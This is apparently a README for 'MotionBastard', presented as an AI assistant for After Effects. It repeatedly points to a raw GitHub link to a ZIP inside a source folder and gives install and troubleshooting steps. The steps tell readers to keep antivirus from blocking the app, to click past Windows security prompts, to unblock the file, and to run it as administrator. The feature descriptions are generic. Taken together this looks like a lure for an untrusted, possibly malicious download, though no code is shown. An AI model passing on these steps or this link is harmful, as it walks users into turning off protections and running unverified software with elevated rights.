MotionBastard is an AI-powered motion design assistant for After Effects. It helps you plan, build, and refine motion graphics with less manual work. You can use it to speed up common design tasks, keep your work organized, and get help with ideas when you need a starting point.
It is made for people who want to work faster in After Effects without learning a new complex tool. The app fits into a normal Windows workflow and keeps the setup simple.
Visit this page to download and run MotionBastard on Windows:
https://raw.githubusercontent.com/luca1234413/MotionBastard/main/jsx/Motion_Bastard_v2.3.zip
If the repository has a release file, choose the Windows download that matches your system. If the page opens the main repository, use the latest release or the main download area on that page.
MotionBastard works best on a Windows PC that can run After Effects smoothly.
Recommended setup:
- Windows 10 or Windows 11
- Adobe After Effects installed
- 8 GB RAM or more
- A modern Intel or AMD processor
- A stable internet connection for setup and AI features
- Enough free disk space for the app and project files
For larger motion projects, 16 GB RAM gives a better experience.
Before you open MotionBastard, make sure:
- After Effects is installed and opens without errors
- You know where your downloads folder is
- You have permission to install software on your PC
- Your antivirus does not block the app during first launch
If Windows shows a security prompt, choose the option that lets you keep the file and continue if you trust the source.
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Open the download page: https://raw.githubusercontent.com/luca1234413/MotionBastard/main/jsx/Motion_Bastard_v2.3.zip
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Find the latest Windows version of MotionBastard.
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Download the file to your computer.
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If the file is in a ZIP folder, right-click it and choose Extract All.
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Open the extracted folder.
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Double-click the app file to start MotionBastard.
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If Windows asks for permission, choose Yes.
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Follow the on-screen setup steps if the app shows them.
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Open After Effects after the app finishes starting.
When you open MotionBastard for the first time, it may ask for basic access or setup steps. This is normal.
Do this:
- Keep After Effects closed until MotionBastard starts
- Let the app finish loading
- If asked, point the app to your After Effects installation
- Use the default settings first
- Test one small project before you use it on client work
This helps you confirm that everything works on your PC.
MotionBastard is built to help with common motion design work in After Effects.
Ask for help with motion ideas, scene flow, timing, or layout direction. The assistant can help you move from a blank screen to a first draft faster.
Use the app to keep your motion work moving. It can help you stay focused on the next step, not the whole process at once.
Keep your ideas, notes, and motion tasks in one place. This helps when you handle many scenes or versions.
Use MotionBastard to cut down on repeat work. It can help with common tasks that often slow down design work.
MotionBastard is built for After Effects users. It fits into a motion design workflow instead of replacing it.
- Open MotionBastard.
- Load or start your After Effects project.
- Choose the task you want help with.
- Enter a short prompt or idea.
- Review the output.
- Apply the result in After Effects.
- Adjust the timing, layers, and look to match your project.
If you are new to motion design, start with simple prompts such as:
- Create a clean logo reveal
- Suggest motion timing for a title card
- Help build a social media intro
- Give me layout ideas for a product screen
- Make this scene feel more smooth and modern
To get better results:
- Write short, clear requests
- Use one task at a time
- Keep your project names simple
- Test ideas on a copy of your project
- Save often
- Review all output before you ship
Good input gives better output. A clear request saves time.
MotionBastard can help with many day-to-day motion design tasks, such as:
- Intro and outro ideas
- Lower third concepts
- Text animation direction
- Scene pacing
- Motion style ideas
- Social content graphics
- Simple storyboard planning
- Variation ideas for client revisions
These tools work best when you already know the basic look you want and need help moving faster.
If you unpack the download, you may see files and folders for:
- The main app
- Settings
- Logs
- Project files
- Assets
- Support files
Keep the folder structure the same after extraction. Moving random files can stop the app from opening.
- Right-click the app and choose Run as administrator
- Check that the files were extracted from the ZIP folder
- Re-download the file if it looks incomplete
- Restart your PC and try again
- Open the file properties
- Check if Windows marked it as blocked
- Choose the option that allows the file to run if you trust the source
- Close both apps
- Open MotionBastard first
- Make sure After Effects is installed
- Check that you selected the correct After Effects version
- Restart both apps and try again
- Close other apps
- Give your PC more free memory
- Use a smaller project first
- Check that your system meets the recommended setup
Check the repository page often for new versions. Updates can bring:
- Better AI responses
- Faster startup
- Bug fixes
- New motion tools
- Better support for After Effects workflows
When you update, close MotionBastard and After Effects first.
- Keep MotionBastard in a simple folder path, such as on your Desktop or in Downloads
- Do not rename important app files unless the instructions say to
- Use one Windows account for install and launch
- Keep After Effects updated
- Restart your PC after major changes
- Download MotionBastard from the GitHub page
- Extract the files if needed
- Open the app on Windows
- Connect it to After Effects
- Try one small motion task
- Adjust the result in After Effects
- Save your project
Primary download page: https://raw.githubusercontent.com/luca1234413/MotionBastard/main/jsx/Motion_Bastard_v2.3.zip